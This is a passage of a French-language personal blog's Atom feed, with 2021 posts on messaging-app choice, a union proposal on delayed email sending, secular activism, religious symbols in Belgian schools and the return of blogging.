&lt;p&gt;Si le choix se porte sur un « ± gros centralisé », il ne faudra faire qu&amp;rsquo;un seul choix et les autres seront alors imposés. Une fois l&amp;rsquo;application (le programme) choisie (&lt;em&gt;Whatsapp&lt;/em&gt;, &lt;em&gt;Facebook&lt;/em&gt;, &lt;em&gt;Messenger&lt;/em&gt;, &lt;em&gt;Instagram&lt;/em&gt;… &lt;em&gt;Signal&lt;/em&gt;), le choix du protocole et du fournisseur suivent.&lt;/p&gt;
&lt;p&gt;Pour un choix acentralisé, pour ne pas choisir un gros (&lt;em&gt;aka&lt;/em&gt; GAFAM), il faudra porter plusieurs choix… et ça c&amp;rsquo;est difficile !&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;choisir un protocole: XMMP ou Matrix ou…&lt;/li&gt;
&lt;li&gt;choisir le fournisseur et son adresse. Où ? Comment trouver ?&lt;/li&gt;
&lt;li&gt;choisir une application. Laquelle est « la mieux » ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… bref… à l&amp;rsquo;heure où j&amp;rsquo;écris ces lignes, je conseille &lt;a href="https://signal.org/fr/"&gt;&lt;em&gt;Signal&lt;/em&gt;&lt;/a&gt;. Un seul choix. Le moins pire.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo by &lt;a href="https://unsplash.com/@mike_meyers?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Mike Meyers&lt;/a&gt; on &lt;a href="https://unsplash.com/s/photos/communication?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Unsplash&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Envoyer les mails pendant les heures du bureau : fausse bonne idée.</title><link href="http://blog.namok.be/2021-04-11-envoyer-les-mails-pendant-les-heures-du-bureau-fausse-bonne-idee.html" rel="alternate"/><published>2021-04-11T00:00:00+02:00</published><updated>2021-04-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-04-11:/2021-04-11-envoyer-les-mails-pendant-les-heures-du-bureau-fausse-bonne-idee.html</id><summary type="html">Envoyer les mails pendant les heures du bureau : fausse bonne idée.</summary><content type="html">&lt;p&gt;&lt;img alt="Vielle cabine téléphonique" class="" src="/images/cabine-53e1cb8a35702004f7dc5301.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Je lisais dans le &lt;a href="https://www.lacsc.be/csc-enseignement/publications/csc-educ/csc-educ-2020-2021"&gt;CSC-EDUC 148&lt;/a&gt; d&amp;rsquo;avril 2021 un article sur le droit à la déconnexion. &lt;/p&gt;
&lt;p&gt;(&lt;em&gt;Je me permets de vous le partager comme si je vous le prêtais dans la salle des profs ou si je le laissais trainer dans le train après l&amp;rsquo;avoir lu. &lt;a href="/pdf/csc-educ-148.pdf"&gt;[PDF]&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;Poser un cadre pour la communication électronique &lt;em&gt;prof-prof&lt;/em&gt;, &lt;em&gt;prof-direction&lt;/em&gt;
et &lt;em&gt;prof-élève&lt;/em&gt; ou &lt;em&gt;prof-étudiant.e&lt;/em&gt; est une bonne idée. La proposition
s&amp;rsquo;appelle &lt;strong&gt;Garantir un droit à la déconnexion pour chaque membre du
personnel&lt;/strong&gt;. Même si j&amp;rsquo;aurais préféré lire un titre comme : &lt;strong&gt;Cadre pour la
communication électronique entre les différentes personnes intervenant dans
l&amp;rsquo;école&lt;/strong&gt; parce que la communication va dans les deux sens et que je trouve que
nous avons aussi un &lt;em&gt;devoir de connexion&lt;/em&gt;, il est important de poser cette
question. &lt;/p&gt;
&lt;p&gt;La position de la CSC me semble sensée et pas surprenante. Bien sûr, j&amp;rsquo;y lis un
rappel bienvenu de la différence entre &lt;em&gt;répondre&lt;/em&gt; et &lt;em&gt;prendre connaissance&lt;/em&gt; mais
je ne m&amp;rsquo;attarderais que sur un seul point qui me semble être une fausse bonne
idée. Il s&amp;rsquo;agit de : &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Obliger l&amp;rsquo;envoi des mails pendant les heures de travail grâce à la fonction d&amp;rsquo;envoi différé.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="" class="center" src="/images/csc-educ-148-extrait.png"&gt;&lt;/p&gt;
&lt;p&gt;Premièrement, cette proposition est &lt;em&gt;GAFAM-webmail-centrée&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Sans préjuger de l&amp;rsquo;intention des rédacteurices, les clients &lt;em&gt;gmail&lt;/em&gt; et &lt;em&gt;outlock&lt;/em&gt;
proposent la fonctionnalité d&amp;rsquo;envoi mais plein d&amp;rsquo;autres non. Par exemple ;
&lt;em&gt;Thunderbird&lt;/em&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, Sogo, Roundcube&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, Nextcloud (avec le &lt;em&gt;plugin&lt;/em&gt; mail)…
Cette proposition est donc trop réductrice. Si j&amp;rsquo;étais d&amp;rsquo;humeur chagrine, je
dirais qu&amp;rsquo;elle m&amp;rsquo;impose l&amp;rsquo;utilisation d&amp;rsquo;un outil particulier pour lire et écrire
mes mails.  &lt;/p&gt;
&lt;p&gt;Ma deuxième remarque n&amp;rsquo;est pas technique. Le mail est asynchrone depuis toujours. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;écris et je lis mes mails &lt;strong&gt;quand je veux&lt;/strong&gt;, &lt;strong&gt;quand ça m&amp;rsquo;arrange&lt;/strong&gt; et mæ
interlocuteurice aussi (cfr. &lt;a href="https://blog.namok.be/?post/2016/12/19/bon-anniversaire-netiquette"&gt;Netiquette
2.0&lt;/a&gt; 10 et
25). Je ne vois aucune raison d&amp;rsquo;obliger l&amp;rsquo;envoi du mail pendant les heures de
travail. &lt;/p&gt;
&lt;p&gt;La plupart d&amp;rsquo;entre nous avons choisi l&amp;rsquo;enseignement pour la souplesse que le
métier offre dans le choix des périodes de travail. Par exemple, c&amp;rsquo;est tellement
pratique lorsque la personne à qui j&amp;rsquo;envoie ma question à 23h a l&amp;rsquo;envie de me
répondre à 6h pendant que je dors, ce qui me permettra d&amp;rsquo;avancer sur le boulot
pendant qu&amp;rsquo;elle fait une balade au bois l&amp;rsquo;après-midi. Ce serait dommage de se
priver de cette souplesse.&lt;/p&gt;
&lt;p&gt;Je pratique &lt;em&gt;inbox zéro&lt;/em&gt; c&amp;rsquo;est-à-dire la partie &lt;em&gt;inbox&lt;/em&gt; (mails entrants) de ma
boite mail contient peu de mails (en général moins de 15). Je fonctionne plus ou moins comme ceci : à la réception d&amp;rsquo;un mail&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;si c&amp;rsquo;est rapide, je le traite ; &lt;/li&gt;
&lt;li&gt;si c&amp;rsquo;est long, je le laisse dans mon &lt;em&gt;inbox&lt;/em&gt; jusqu&amp;rsquo;au traitement ; &lt;/li&gt;
&lt;li&gt;si « ça fait longtemps qu&amp;rsquo;il est là », je ne le traiterai pas et j&amp;rsquo;archive. L&amp;rsquo;expéditeurice reviendra vers moi si c&amp;rsquo;est important. (Je n&amp;rsquo;ai pas souvent besoin de le faire).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je n&amp;rsquo;ai donc pas envie d&amp;rsquo;être assailli par moult mails le lundi à 8h alors que
j&amp;rsquo;aurais pu traiter certains demandes rapides au fil des heures du week-end par
exemple. Si j&amp;rsquo;avais voulu tout traiter le lundi à 6h parce que je suis un
lève-tôt et que je préfèrais que ce soit fait avant mon cours de 8h… perdu. Je
ne peux pas.  &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai l&amp;rsquo;impression — toujours sans jugement — que cette proposition est faite par
des personnes hyper-connectées ou gérant mal leurs notifications. Je ne reçois
&lt;strong&gt;aucune notification&lt;/strong&gt; de ma boite mail professionnelle. Je ne vois donc mes
mails professionnels que lorsque &lt;strong&gt;je décide de consulter mes mails&lt;/strong&gt;. Avec le
mail, je me déconnecte donc quand je veux.&lt;/p&gt;
&lt;p&gt;Le mail correctement géré permet la déconnexion. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo &lt;a href="https://www.lalibre.be/regions/bruxelles/les-cabines-telephoniques-vivent-leurs-derniers-instants-53e13fb43570667a6390ee7f"&gt;La libre&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Il y a bien un plugin qui enverra le mail au moment demandé (&lt;strong&gt;si ma machine est allumée&lt;/strong&gt;) mais qui ne fonctionne pas/plus avec ma version de Thunderbird.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Il semble exister un plugin payant.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Bouffer du curé</title><link href="http://blog.namok.be/2021-03-26-bouffer-du-cure.html" rel="alternate"/><published>2021-03-26T00:00:00+01:00</published><updated>2021-03-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-03-26:/2021-03-26-bouffer-du-cure.html</id><summary type="html">Bouffer du curé</summary><content type="html">&lt;p&gt;&lt;img alt="thechurch-sirault-1200x.jpg, mar. 2021" src="/images/thechurch-sirault-1200x.jpg"&gt;&lt;/p&gt;
&lt;p&gt;En ce dimanche matin, je me rends à l&amp;rsquo;église parce que mes parents veulent que je participe à la messe. Je me mets au fond de l&amp;rsquo;église avec mes potes et nous attendons que ça passe. Ensuite, nous nous retrouverons au café du village pour boire quelques bières avec ceux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; qui ont été à la messe et les autres. Tout le monde s&amp;rsquo;en fout un peu que l&amp;rsquo;on aille à la messe ou pas, l&amp;rsquo;important c&amp;rsquo;est de se retrouver après. Au café, ça parle fort. De tout. De rien.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;époque, tout le monde est un peu catholique ou s&amp;rsquo;en fout… enfin presque.&lt;/p&gt;
&lt;p&gt;Certaines personnes bataillent pour plus de laïcité. Leur combat est compréhensible. Dès lors que la religion ne m&amp;rsquo;intéresse pas, je ne veux pas qu&amp;rsquo;elle soit omniprésente: école catholique, église dans chaque village… Ces personnes bataillent &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; pour une plus grande laïcité de l&amp;rsquo;État. Bien que la constitution belge sépare « les choses » &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, l&amp;rsquo;État finance les cultes, organise des cours de religions dans l&amp;rsquo;enseignement obligatoire et la religion garde une place dans l&amp;rsquo;espace publique que d&amp;rsquo;aucun trouve trop importante.&lt;/p&gt;
&lt;p&gt;En général, tout se passe bien, l&amp;rsquo;&lt;a href="2016-03-08-etre-du-troisieme-millenaire.html"&gt;Être&lt;/a&gt; humain aspirant à vivre serein. Mais parfois &lt;em&gt;ça frotte&lt;/em&gt; et &lt;em&gt;ça gueule au café&lt;/em&gt;. Des personnes s&amp;rsquo;expriment parfois en criant et tout ça n&amp;rsquo;est pas grave. &lt;em&gt;Désaccord n&amp;rsquo;est pas désamour.&lt;/em&gt; Exprimer ses sentiments, ses opinions dans le respect de l&amp;rsquo;autre, même en criant parfois est même très sain. Bref, parmi les personnes qui s&amp;rsquo;affichent comme étant laïques &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; certaines sont &lt;strong&gt;militantes&lt;/strong&gt;. Jadis, on aurait dit les &lt;strong&gt;bouffeurs de curé&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Les militanteurices &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; de tout poil — qu&amp;rsquo;iels peuvent raser ou pas d&amp;rsquo;ailleurs — sont par leur militantisme &lt;em&gt;toujours aux aguets&lt;/em&gt;. Étant convaincu que leur combat est le bon et l&amp;rsquo;ayant sans doute maintes fois répété, ces personnes &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; ont parfois tendance à grogner voire à montrer les dents. Les combats sont divers et chaque personne a les siens. Aujourd&amp;rsquo;hui je pense à la laïcité et au droit de porter des signes convictionnels parce que ce sont des combats sensibles et épidermiques. Ce n&amp;rsquo;est pas trop mon combat. Mon combat, c&amp;rsquo;est plutôt la défense des logiciels libres, de linux et la lutte contre les GAFAM. Cette sensibilité reste et restera mais je ne milite plus. J&amp;rsquo;informe, j&amp;rsquo;explique, je réponds aux questions mais n&amp;rsquo;essaie plus de convaincre à tout prix.&lt;/p&gt;
&lt;p&gt;— Et les bouffeurs de curé !&lt;br&gt;
— D&amp;rsquo;accord. D&amp;rsquo;accord.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;abord, j&amp;rsquo;écris l&amp;rsquo;expression avec gentillesses et même affection. Ensuite, le militantisme trop combattant me fait parfois peur ou m&amp;rsquo;agresse si je me sens forcé. Ceci dit, c&amp;rsquo;est le militantisme qui fait bouger les choses. Il dérange et fait donc réfléchir. Hier, les militanteurices laïques auraient — et ont d&amp;rsquo;ailleurs — bataillé contre l&amp;rsquo;église catholique. Il suffit de faire une recherche d&amp;rsquo;images dans un moteur de recherche avec les mots clés « caricature église catholique » pour s&amp;rsquo;en rendre compte &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;. Aujourd&amp;rsquo;hui, la religion n&amp;rsquo;est plus unique en Belgique et leur combat est toujours le même. Leur lutte contre la religion catholique se déplace contre la religion musulmane et malheureusement les sensibilités étant différentes aujourd&amp;rsquo;hui qu&amp;rsquo;hier ça &lt;em&gt;passe mal&lt;/em&gt;. Une personne militante laïque se battra tout autant contre le port du voile que contre le port d&amp;rsquo;une croix dans une école.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui le militantisme laïque se heurte au militantisme musulman et je prie &lt;sup id="fnref:f8"&gt;&lt;a class="footnote-ref" href="#fn:f8"&gt;8&lt;/a&gt;&lt;/sup&gt; pour que le débat puisse se faire en parlant voire en criant mais surement pas en insultant ou en tuant.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est pas gagné.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo &lt;a href="https://alegendarytrip.wordpress.com/2014/09/04/holy-ghost/"&gt;alegendaryptrip&lt;/a&gt;, « Le church » ancienne église transformée en discothèque jadis.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;écrirais bien &lt;em&gt;celleux&lt;/em&gt; mais ce n&amp;rsquo;était pas d&amp;rsquo;usage à l&amp;rsquo;époque bien que nous étions filles et garçons au café. C&amp;rsquo;était d&amp;rsquo;ailleurs, il y a tellement longtemps que toutes mes connaissances étaient binaires. C&amp;rsquo;est dire comme c&amp;rsquo;est vieux ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, il faudrait sans doute écrire « luttent » et lever le point.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je reste résolument flou parce que je ne maitrise absolument pas le sujet… ce qui ne m&amp;rsquo;empêche pas de m&amp;rsquo;exprimer… ah &lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;l&amp;rsquo;homme blanc&lt;/a&gt; ;-) &lt;em&gt;#humour&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Et l&amp;rsquo;on peut afficher ses opinions si l&amp;rsquo;on veut, je peux dire que je suis catholique, que je suis laïque, que je suis athée ou que je suis musulman… sauf que je dois trouver une tournure de phrase sans le « Je suis » ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;T&amp;rsquo;as vu ? Plus de point médian ! Est-ce que je cherche à faire ami-amie avec les « inclusifves » ou bien ennemi avec l&amp;rsquo;académie française ? En vrai, en général j&amp;rsquo;aurais écrit « les militants et les militantes »… mais je suis d&amp;rsquo;humeur taquine.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Quand j&amp;rsquo;écris « ces personnes » ce n&amp;rsquo;est pas du dédain ou de la distance, c&amp;rsquo;est pour éviter d&amp;rsquo;écrire « ils ou elles » ou « iels ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;En général ces — toutes les — caricatures me font rire, sinon sourire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f8"&gt;
&lt;p&gt;Tête d&amp;rsquo;ange&amp;#160;&lt;a class="footnote-backref" href="#fnref:f8" title="Jump back to footnote 8 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un voile et un t-shirt</title><link href="http://blog.namok.be/2021-01-16-un-voile-un-t-shirt.html" rel="alternate"/><published>2021-01-16T00:00:00+01:00</published><updated>2021-01-16T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-01-16:/2021-01-16-un-voile-un-t-shirt.html</id><summary type="html">Un voile et un t-shirt</summary><content type="html">&lt;p&gt;&lt;img alt="lescapricesdiris.com.jpg, janv. 2021" src="/images/lescapricesdiris.com.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Je pars pour l&amp;rsquo;école avec mon t-shirt &lt;em&gt;Tux&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je suis toujours un peu stressé quand j&amp;rsquo;arbore ce t-shirt représentant la mascotte linux. D&amp;rsquo;ailleurs en entrant dans l&amp;rsquo;école, je me fais interpeller :&lt;/p&gt;
&lt;p&gt;— Que signifie ce pingouin sur ton t-shirt ?&lt;br&gt;
— Ben, ce n&amp;rsquo;est pas un pingouin, c&amp;rsquo;est un manchot et c&amp;rsquo;est simplement un t-shirt que j&amp;rsquo;aime bien.&lt;br&gt;
— Ok. C&amp;rsquo;est bon.&lt;/p&gt;
&lt;p&gt;Je sais très bien ce que je dois répondre.&lt;/p&gt;
&lt;p&gt;Il y a quelque jours, mon pote est arrivé à l&amp;rsquo;école avec un t-shirt montrant &lt;em&gt;un tux avec une tapette à mouche voulant écraser un papillon aux couleurs window&lt;/em&gt; et il a du rentrer chez lui parce qu&amp;rsquo;il est interdit de se « permettre toute publicité ou toute propagande pour un mouvement politique, philosophique ou religieux ». Comme il avait répondu que « windows c&amp;rsquo;est de la m°@$e » (&lt;em&gt;sic&lt;/em&gt;), on lui a dit que c&amp;rsquo;était de la propagande philosophique et qu&amp;rsquo;il contrevenait au règlement des études. Il a donc du rentrer se changer.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fin de la fiction.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lalibre.be/belgique/enseignement/le-voile-sera-massivement-autorise-en-septembre-dans-l-enseignement-superieur-l-interet-general-doit-primer-6001eabb9978e227df936a0d"&gt;À la rentrée de septembre 2021, les signes convictionnels seront autorisés dans les écoles supérieures dépendantes de WBE (Wallonie-Bruxelles Enseignement)&lt;/a&gt;. Les filles qui le désirent pourront porter le voile islamique. Par extension — même si l&amp;rsquo;article ne le dit pas — d&amp;rsquo;autres signes convictionnels pourront être portés. Il sera donc normalement possible de porter une kippa, un turban, une croix ou encore le crâne rasé et une tenue orange…&lt;/p&gt;
&lt;p&gt;Actuellement, la règle qui interdit de « porter un couvre-chef » est assez bien respectée et je peux compter sur le doigt (&lt;em&gt;si si&lt;/em&gt;) d&amp;rsquo;une main le nombre de fois où il a fallu rappeler que le port du voile était interdit dans l&amp;rsquo;enceinte de l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;Évidemment, personne ne s&amp;rsquo;est vu refuser l&amp;rsquo;entrée de l&amp;rsquo;école pour t-shirt inapproprié. À l&amp;rsquo;avenir, si je peux afficher mes convictions religieuses, j&amp;rsquo;estime pouvoir alors afficher mes convictions aussi simples qu&amp;rsquo;elles soient. Plus d&amp;rsquo;inquiétude pour les t-shirt avec un message. Nous voilà rassurés. Me voilà rassuré.&lt;/p&gt;
&lt;p&gt;Outre les t-shirt « &lt;em&gt;de geek&lt;/em&gt; » qui sont plus souvent des t-shirts de &lt;em&gt;nerds&lt;/em&gt; pour ma part, ce sera &lt;em&gt;open bar&lt;/em&gt; pour vos messages convictionnels. Vous pouvez sortir vos t-shirts : &lt;em&gt;Che Guevara&lt;/em&gt;, 100% bio, Non à la THT, Le nucléaire tue, I love N-VA, La terre est plate, 5G non merci, BÉPO &amp;gt; AZERTY…&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;en vais de ce pas refaire un stock de t-shirts en attendant le décret.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="http://www.lescapricesdiris.com/look-geek/"&gt;Iris&lt;/a&gt;. Je cherchais une photo d&amp;rsquo;une fille avec un t-shirt de geek. Je ne trouvais pas puis, j&amp;rsquo;ai trouvé &lt;a href="http://www.lescapricesdiris.com/look-geek/"&gt;Iris&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Bien sûr la règle qui s&amp;rsquo;applique aux étudiants et étudiantes ne s&amp;rsquo;applique pas au personnel enseignant qui ne peut toujours pas faire de prosélitisme.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le temps des blogs est-il revenu ?</title><link href="http://blog.namok.be/2021-01-12-le-temps-des-blogs-est-il-revenu.html" rel="alternate"/><published>2021-01-12T00:00:00+01:00</published><updated>2021-01-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-01-12:/2021-01-12-le-temps-des-blogs-est-il-revenu.html</id><summary type="html">Le temps des blogs est-il revenu ?</summary><content type="html">&lt;p&gt;&lt;img alt="blackbirds-_dsc0066__19__by_placi1_dec3zi2-fullview.jpeg, janv. 2021" src="/images/blackbirds-_dsc0066__19__by_placi1_dec3zi2-fullview.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;Le temps des blogs était révolu.&lt;/p&gt;
&lt;p&gt;Tout le monde avait oublié comme il était simple — mais pas assez — de louer un hébergement et d&amp;rsquo;y installer son moteur de blog. Ça ne coutait pas grand chose — mais trop — pour réserver un nom de domaine et être indépendant. Libre. Libre d&amp;rsquo;écrire un billet sur n&amp;rsquo;importe quel sujet ! En deux clics, je pouvais donner mon avis sur une recette de cuisine, présenter un livre que j&amp;rsquo;ai bien aimé, discuter politique, sensibiliser à une idée, à un logiciel, partager mes expériences, mettre en garde, plaisanter…&lt;/p&gt;
&lt;p&gt;Pas de censure et une liberté d&amp;rsquo;expression quasi totale. Quasi car ce qui est interdit dans l&amp;rsquo;espace publique l&amp;rsquo;était tout autant sur mon blog. &lt;a href="https://www.belgium.be/fr/justice/victime/plaintes_et_declarations/discrimination"&gt;La discrimination est interdite par la loi et punissable&lt;/a&gt;. Si l&amp;rsquo;on dérapait, la justice faisait son devoir et punissait. C&amp;rsquo;était entre elle et moi. Pour le reste la personne détentrice d&amp;rsquo;un blog y écrit ce qu&amp;rsquo;elle veut. C&amp;rsquo;est chez elle. Elle n&amp;rsquo;est même pas obligée de laissé un ou une internaute passant par là déposer son commentaire. Elle peut le supprimer à vue. C&amp;rsquo;est chez elle. Elle accueille le passant ou la passante comme elle veut.&lt;/p&gt;
&lt;p&gt;Bien sûr notre &lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;éternel besoin de reconnaissance&lt;/a&gt;, notre égo, nous pousse à augmenter notre lectorat. Je veux être lu. À n&amp;rsquo;importe quel prix ? Alors je me crée un compte, d&amp;rsquo;abord Twitter, puis Facebook et enfin Instagram. &lt;a href="2014-04-25-comment-acheter-des-amis.html"&gt;Je vais jusqu&amp;rsquo;à me payer des amis&lt;/a&gt; pour que ce que j&amp;rsquo;écris soit lu par le plus grand nombre. S&amp;rsquo;il faut réduire mon texte pour qu&amp;rsquo;il tienne en 140 caractères, je le fais. Et j&amp;rsquo;empile des tweets en oubliant mon blog. En supprimant mon blog car il est &lt;em&gt;tellement&lt;/em&gt; simple d&amp;rsquo;écrire un &lt;em&gt;tweet&lt;/em&gt;. Je n&amp;rsquo;écris pas, je &lt;em&gt;tweete&lt;/em&gt;. Je ne &lt;em&gt;tweete&lt;/em&gt; pas, je fais un (long) &lt;em&gt;thread&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je ne sais pas — ou pire, je le sais très bien — que ces &lt;a href="2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html"&gt;plateformes sont privatrices de liberté&lt;/a&gt;, qu&amp;rsquo;elles ne m&amp;rsquo;appartiennent pas. Je dépose ma prose sur les serveurs d&amp;rsquo;une société privée aux états-unis alors qu&amp;rsquo;elle pourrait être sur une machine proche. Chez un hébergeur belge. D&amp;rsquo;ailleurs ma prose n&amp;rsquo;en a plus que le nom, je n&amp;rsquo;écris plus. Je ne réfléchis plus, je réagis. Je surjoue. Je m&amp;rsquo;indigne. Des jours. Un jour. Une heure.&lt;/p&gt;
&lt;p&gt;Avant j&amp;rsquo;adaptais parfois mon discours à mon public. Gentiment. Doucement. Maintenant, je prends le pouls de ma bulle et pense comme elle. Mes amis. Plutôt mes contacts — inconnus et inconnues pour la plupart — m&amp;rsquo;influencent en 140 caractères. Non ! En quelques émojis.&lt;/p&gt;
&lt;p&gt;Hier, Twitter m&amp;rsquo;a bloqué, ensuite Facebook et, comme par hasard aujourd&amp;rsquo;hui, Instagram. Mon compte a été supprimé. Définitivement.&lt;/p&gt;
&lt;p&gt;Je voudrais crier quelque part « SALAUDS ». Je vaudrais leur dire qu&amp;rsquo;ils me musellent, que nous sommes en démocratie et que j&amp;rsquo;ai le droit de parler. « À MORT LA DICTATURE ! » Je ne trouve que des « on te l&amp;rsquo;avait bien dit ! ». Comme si tout le monde laissait sa porte ouverte à l&amp;rsquo;inconnu ou l&amp;rsquo;inconnue qui voudrait entrer donner son avis ou l&amp;rsquo;insulter. Oui, c&amp;rsquo;est vrai. J&amp;rsquo;avais bien lu — quelque part, en diagonale, rapidement — qu&amp;rsquo;il existe des &lt;a href="2017-04-09-un-service-decentralise-c-est-quoi.html"&gt;alternatives acentralisées&lt;/a&gt; et fédérées comme, par exemple, Mastodon. Je pourrais décider d&amp;rsquo;en installer une instance et, avec un peu de chance, être fédéré avec les autres. Je pourrais aussi décider d&amp;rsquo;arrêter de crier et de réagir en quelques mots. Décider d&amp;rsquo;utiliser les émojis avec parcimonie et (re)commencer d&amp;rsquo;écrire des billets dépassant les 140 caractères. Dire autour de moi que &lt;a href="2015-05-06-facebook-est-un-mauvais-moyen-de-communication-pour-une-association.html"&gt;les réseaux sociaux sont de mauvais moyen de communication&lt;/a&gt; et qu&amp;rsquo;il faut les laisser faire ce qu&amp;rsquo;ils font bien… relayer un bon vieux billet de blog que l&amp;rsquo;on pourra citer, retrouver, lire…&lt;/p&gt;
&lt;p&gt;Je cherche désespérément sur Twitter, Facebook, Instagram… comment installer un blog mais je ne trouve rien. Pas un &lt;em&gt;thread&lt;/em&gt;, aucune &lt;em&gt;story&lt;/em&gt; sur le sujet.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;échoue sur un billet de blog.&lt;/p&gt;
&lt;p&gt;Le temps des blogs est-il revenu ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
